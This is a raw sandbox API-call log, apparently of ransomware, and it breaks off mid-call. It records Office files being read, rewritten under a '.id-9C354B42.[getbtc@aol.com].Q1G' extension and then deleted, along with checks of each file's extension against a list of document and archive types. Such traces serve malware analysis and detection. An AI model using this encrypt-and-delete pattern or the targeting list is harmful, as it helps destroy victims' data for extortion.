1 [0038.421] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0038.421] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.421] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.421] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.424] GetLastError () returned 0x0 [0038.424] ReadFile (in: hFile=0x1b0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x2213, lpOverlapped=0x0) returned 1 [0038.425] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0038.426] ReadFile (in: hFile=0x1b0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.426] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.426] SetEndOfFile (hFile=0x1a0) returned 1 [0038.426] CloseHandle (hObject=0x1a0) returned 1 [0038.427] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.427] SetEndOfFile (hFile=0x1b0) returned 1 [0038.428] CloseHandle (hObject=0x1b0) returned 1 [0038.428] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0038.428] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0038.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.428] lstrlenW (lpString=".doc") returned 4 [0038.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".docx") returned 5 [0038.429] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0038.429] lstrlenW (lpString=".pdf") returned 4 [0038.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".xls") returned 4 [0038.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".xlsx") returned 5 [0038.429] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0038.429] lstrlenW (lpString=".ppt") returned 4 [0038.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString=".zip") returned 4 [0038.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.429] lstrlenW (lpString=".rar") returned 4 [0038.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".bz2") returned 4 [0038.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".7z") returned 3 [0038.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString=".dbf") returned 4 [0038.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString=".1cd") returned 4 [0038.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString=".jpg") returned 4 [0038.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.429] lstrlenW (lpString=".doc") returned 4 [0038.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.429] lstrlenW (lpString=".docx") returned 5 [0038.430] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0038.430] lstrlenW (lpString=".pdf") returned 4 [0038.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString=".xls") returned 4 [0038.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString=".xlsx") returned 5 [0038.430] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0038.430] lstrlenW (lpString=".ppt") returned 4 [0038.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.430] lstrlenW (lpString=".zip") returned 4 [0038.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.430] lstrlenW (lpString=".rar") returned 4 [0038.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString=".bz2") returned 4 [0038.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString=".7z") returned 3 [0038.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.430] lstrlenW (lpString=".dbf") returned 4 [0038.430] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.430] lstrlenW (lpString=".1cd") returned 4 [0038.430] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0038.430] lstrlenW (lpString=".jpg") returned 4 [0038.430] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.430] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0038.430] lstrlenW (lpString="ipsdan.xml") returned 10 [0038.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.355] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2514) returned 1 [0039.355] CloseHandle (hObject=0x190) returned 1 [0039.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0039.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".doc") returned 4 [0039.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".docx") returned 5 [0039.356] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.356] lstrlenW (lpString=".pdf") returned 4 [0039.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".xls") returned 4 [0039.356] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".xlsx") returned 5 [0039.356] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.356] lstrlenW (lpString=".ppt") returned 4 [0039.356] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".zip") returned 4 [0039.356] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.356] lstrlenW (lpString=".rar") returned 4 [0039.356] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".bz2") returned 4 [0039.356] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".7z") returned 3 [0039.356] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".dbf") returned 4 [0039.356] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".1cd") returned 4 [0039.356] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".jpg") returned 4 [0039.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.356] lstrlenW (lpString=".doc") returned 4 [0039.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".docx") returned 5 [0039.357] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0039.357] lstrlenW (lpString=".pdf") returned 4 [0039.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".xls") returned 4 [0039.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".xlsx") returned 5 [0039.357] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.357] lstrlenW (lpString=".ppt") returned 4 [0039.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.357] lstrlenW (lpString=".zip") returned 4 [0039.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.357] lstrlenW (lpString=".rar") returned 4 [0039.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".bz2") returned 4 [0039.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".7z") returned 3 [0039.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.357] lstrlenW (lpString=".dbf") returned 4 [0039.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.357] lstrlenW (lpString=".1cd") returned 4 [0039.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0039.357] lstrlenW (lpString=".jpg") returned 4 [0039.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.357] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0039.357] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0039.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.708] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=819) returned 1 [0039.708] CloseHandle (hObject=0x1f0) returned 1 [0039.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0039.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.716] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.719] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0039.722] GetLastError () returned 0x0 [0039.722] ReadFile (in: hFile=0x1f0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x333, lpOverlapped=0x0) returned 1 [0039.740] WriteFile (in: hFile=0x1cc, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x340, lpOverlapped=0x0) returned 1 [0039.747] ReadFile (in: hFile=0x1f0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.747] WriteFile (in: hFile=0x1cc, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0039.747] SetEndOfFile (hFile=0x1cc) returned 1 [0039.748] CloseHandle (hObject=0x1cc) returned 1 [0039.748] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.748] SetEndOfFile (hFile=0x1f0) returned 1 [0039.749] CloseHandle (hObject=0x1f0) returned 1 [0039.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString=".doc") returned 4 [0039.750] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString=".docx") returned 5 [0039.750] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0039.750] lstrlenW (lpString=".pdf") returned 4 [0039.750] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString=".xls") returned 4 [0039.750] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString=".xlsx") returned 5 [0039.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0039.750] lstrlenW (lpString=".ppt") returned 4 [0039.750] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString=".zip") returned 4 [0039.750] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.750] lstrlenW (lpString=".rar") returned 4 [0039.750] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString=".bz2") returned 4 [0039.750] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString=".7z") returned 3 [0039.750] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString=".dbf") returned 4 [0039.750] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString=".1cd") returned 4 [0039.750] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.750] lstrlenW (lpString=".jpg") returned 4 [0039.750] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString=".doc") returned 4 [0039.751] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString=".docx") returned 5 [0039.751] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0039.751] lstrlenW (lpString=".pdf") returned 4 [0039.751] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString=".xls") returned 4 [0039.751] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString=".xlsx") returned 5 [0039.751] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0039.751] lstrlenW (lpString=".ppt") returned 4 [0039.751] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString=".zip") returned 4 [0039.751] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.751] lstrlenW (lpString=".rar") returned 4 [0039.751] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString=".bz2") returned 4 [0039.751] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString=".7z") returned 3 [0039.751] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString=".dbf") returned 4 [0039.751] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString=".1cd") returned 4 [0039.751] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0039.751] lstrlenW (lpString=".jpg") returned 4 [0039.751] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.752] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0039.752] lstrlenW (lpString="OCT.CHM") returned 7 [0039.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.802] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=71236) returned 1 [0039.802] CloseHandle (hObject=0x1d0) returned 1 [0039.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0039.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.803] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.803] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.803] GetLastError () returned 0x0 [0039.803] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x11644, lpOverlapped=0x0) returned 1 [0039.806] WriteFile (in: hFile=0x190, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0039.808] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, 